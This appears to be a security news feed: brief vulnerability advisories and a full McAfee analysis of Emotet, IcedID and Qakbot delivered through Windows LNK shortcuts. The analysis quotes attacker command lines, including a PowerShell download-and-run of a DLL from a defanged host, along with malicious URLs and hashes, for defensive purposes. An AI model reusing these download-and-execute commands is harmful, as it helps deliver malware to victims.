A vulnerability, which was classified as problematic, has been found in JUNG Smart Visu Server 1.0.804/1.0.830/1.0.832. This issue affects some unknown processing. The manipulation leads to backdoor. The attack needs to be approached locally. The exploit has been disclosed to the public and may be used. Upgrading to version 1.0.900 is able to address this issue. It is recommended to upgrade the affected component.
British Telecom and Toshiba have launched a trial of what they say is the world’s first commercial quantum secured metro network (QSMN) that aims to securely encrypt valuable data and information over standard fibre optic links using quantum key distribution (QKD). The companies will operate the network for an initial period of up to three years.
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(Insider Story)
Multiple vulnerabilities have been discovered in Google Chrome, the most severe of which could allow for arbitrary code execution. Google Chrome is a web browser used to access the Internet. Successful exploitation of the most severe of these vulnerabilities could allow an attacker to execute arbitrary code in the context of the applications. Depending on the privileges associated with the applications, an attacker could view, change, or delete data. If these applications have been configured to have fewer user rights on the system, exploitation of the most severe of these vulnerabilities could have less impact than if they were configured with administrative rights.
Matthias Gerstner discovered that the –join option of Firejail,
a sandbox to restrict an application environment, was susceptible
to local privilege escalation to root.
Multiple security issues were discovered in Chromium, which could result
in the execution of arbitrary code, denial of service or information
disclosure.
golang-github-lucas-clemente-quic-0.27.2-1.fc36
Update to 0.27.2
It was discovered that Protocol Buffers did not properly parse certain symbols.
An attacker could possibly use this issue to cause a denial of service or other
unspecified impact.
Researchers from Kaspersky Lab have published an analysis of a previously undocumented advanced persistent threat (APT) group that they have dubbed ToddyCat.
The threat actor, which has targeted high-profile organizations in Asia and Europe, often breaks into organizations by hacking into internet-facing Microsoft Exchange servers, following up with a multi-stage infection chain that deploys two custom malware programs.
“We still have little information about this actor, but we know that its main distinctive signs are two formerly unknown tools that we call ‘Samurai backdoor’ and ‘Ninja Trojan’,” the researchers said.
Have you received an email notification that there is a voicemail waiting to be listened to by you?
Maybe you would be wise to think carefully before clicking on the attachment.
Authored by Lakshya Mathur
An LNK file is a Windows Shortcut that serves as a pointer to open a file, folder, or application. LNK files are based on the Shell Link binary file format, which holds information used to access another data object. These files can be created manually using the standard right-click create shortcut option or sometimes they are created automatically while running an application. There are many tools also available to build LNK files, also many people have built “lnkbombs” tools specifically for malicious purposes.
During the second quarter of 2022, McAfee Labs has seen a rise in malware being delivered using LNK files. Attackers are exploiting the ease of LNK, and are using it to deliver malware like Emotet, Qakbot, IcedID, Bazarloaders, etc.
Figure 1 – Apr to May month geolocation of the LNK attacks
In this blog, we will see how LNK files are being used to deliver malware such as Emotet, Qakbot, and IcedID.
Below is a screenshot of how these shortcut files look to a normal user.
Figure 2 _ LNK files as seen by a normal user
With Microsoft disabling office macros by default malware actors are now enhancing their lure techniques including exploiting LNK files to achieve their goals.
Threat actors are using email spam and malicious URLs to deliver LNK files to victims. These files instruct legitimate applications like PowerShell, CMD, and MSHTA to download malicious files.
We will go through three recent malware campaigns Emotet, IcedID, and Qakbot to see how dangerous these files can be.
Figure 3 _Emotet delivered via LNK file Infection-Chain
Figure 4 _ Email user received having malicious LNK attached
In Figure 4 we can see the lure message and attached malicious LNK file.
The user is infected by manually accessing the attached LNK file. To dig a little deeper, we see the properties of the LNK file:
Figure 5 _Properties of Emotet LNK sample
As seen in Figure 5 the target part reveals that LNK invokes the Windows Command Processor (cmd.exe). The target path as seen in the properties is only visible to 255 characters. However, command-line arguments can be up to 4096, so malicious actors can that this advantage and pass on long arguments as they will be not visible in the properties.
In our case the argument is /v:on /c findstr “glKmfOKnQLYKnNs.*” “Form 04.25.2022, US.lnk” > “%tmp%YlScZcZKeP.vbs” & “%tmp%YlScZcZKeP.vbs”
Figure 6 _ Contents of Emotet LNK file
Once the findstr.exe utility receives the mentioned string, the rest of the content of the LNK file is saved in a .VBS file under the %temp% folder with the random name YIScZcZKeP.vbs
The next part of the cmd.exe command invokes the VBS file using the Windows Script Host (wscript.exe) to download the main Emotet 64-bit DLL payload.
The downloaded DLL is then finally executed using the REGSVR32.EXE utility which is similar behavior to the excel(.xls) based version of the emotet.
Figure 7 _ IcedID delivered via LNK file Infection-Chain
This attack is a perfect example of how attackers chain LNK, PowerShell, and MSHTA utilities target their victims.
Here, PowerShell LNK has a highly obfuscated parameter which can be seen in Figure 8 target part of the LNK properties
Figure 8 _ Properties of IcedID LNK sample
The parameter is exceptionally long and is not fully visible in the target part. The whole obfuscated argument is decrypted at run-time and then executes MSHTA with argument hxxps://hectorcalle[.]com/093789.hta.
The downloaded HTA file invokes another PowerShell that has a similar obfuscated parameter, but this connects to Uri hxxps://hectorcalle[.]com/listbul.exe
The Uri downloads the IcedID installer 64-bit EXE payload under the %HOME% folder.
Figure 9 _ Qakbot delivered via LNK file Infection-Chain
This attack will show us how attackers can directly hardcode malicious URLs to run along with utilities like PowerShell and download main threat payloads.
Figure 10 _ Properties of Qakbot LNK sample
In Figure 10 the full target part argument is “C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -NoExit iwr -Uri hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png -OutFile $env:TEMPtest.dll;Start-Process rundll32.exe $env:TEMPtest.dll,jhbvygftr”
When this PowerShell LNK is invoked, it connects to hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png using the Invoke-WebRequest command and the download file is saved under the %temp% folder with the name test.dll
This is the main Qakbot DLL payload which is then executed using the rundll32 utility.
As we saw in the above three threat campaigns, it is understood that attackers abuse the windows shortcut LNK files and made them to be extremely dangerous to the common users. LNK combined with PowerShell, CMD, MSHTA, etc., can do severe damage to the victim’s machine. Malicious LNKs are generally seen to be using PowerShell and CMD by which they can connect to malicious URLs to download malicious payloads.
We covered just three of the threat families here, but these files have been seen using other windows utilities to deliver diverse types of malicious payloads. These types of attacks are still evolving, so every user must give a thorough check while using LNK shortcut files. Consumers must keep their Operating system and Anti-Virus up to date. They should beware of phishing mail and clicking on malicious links and attachments.
Type
SHA-256
Scanner
Emotet LNK
02eccb041972825d51b71e88450b094cf692b9f5f46f5101ab3f2210e2e1fe71
WSS
LNK/Emotet-FSE
IcedID LNK
24ee20d7f254e1e327ecd755848b8b72cd5e6273cf434c3a520f780d5a098ac9
WSS
LNK/Agent-FTA
Suspicious ZIP!lnk
Qakbot LNK
b5d5464d4c2b231b11b594ce8500796f8946f1b3a10741593c7b872754c2b172
WSS
LNK/Agent-TSR
URLs (Uniform Resource Locator)
hxxps://creemo[.]pl/wp-admin/ZKS1DcdquUT4Bb8Kb/
hxxp://filmmogzivota[.]rs/SpryAssets/gDR/
hxxp://demo34.ckg[.]hk/service/hhMZrfC7Mnm9JD/
hxxp://focusmedica[.]in/fmlib/IxBABMh0I2cLM3qq1GVv/
hxxp://cipro[.]mx/prensa/siZP69rBFmibDvuTP1/
hxxps://hectorcalle[.]com/093789.hta
hxxps://hectorcalle[.]com/listbul.exe
hxxps://green-a-thon[.]com/LosZkUvr/B.png
WebAdvisor
All URLs Blocked
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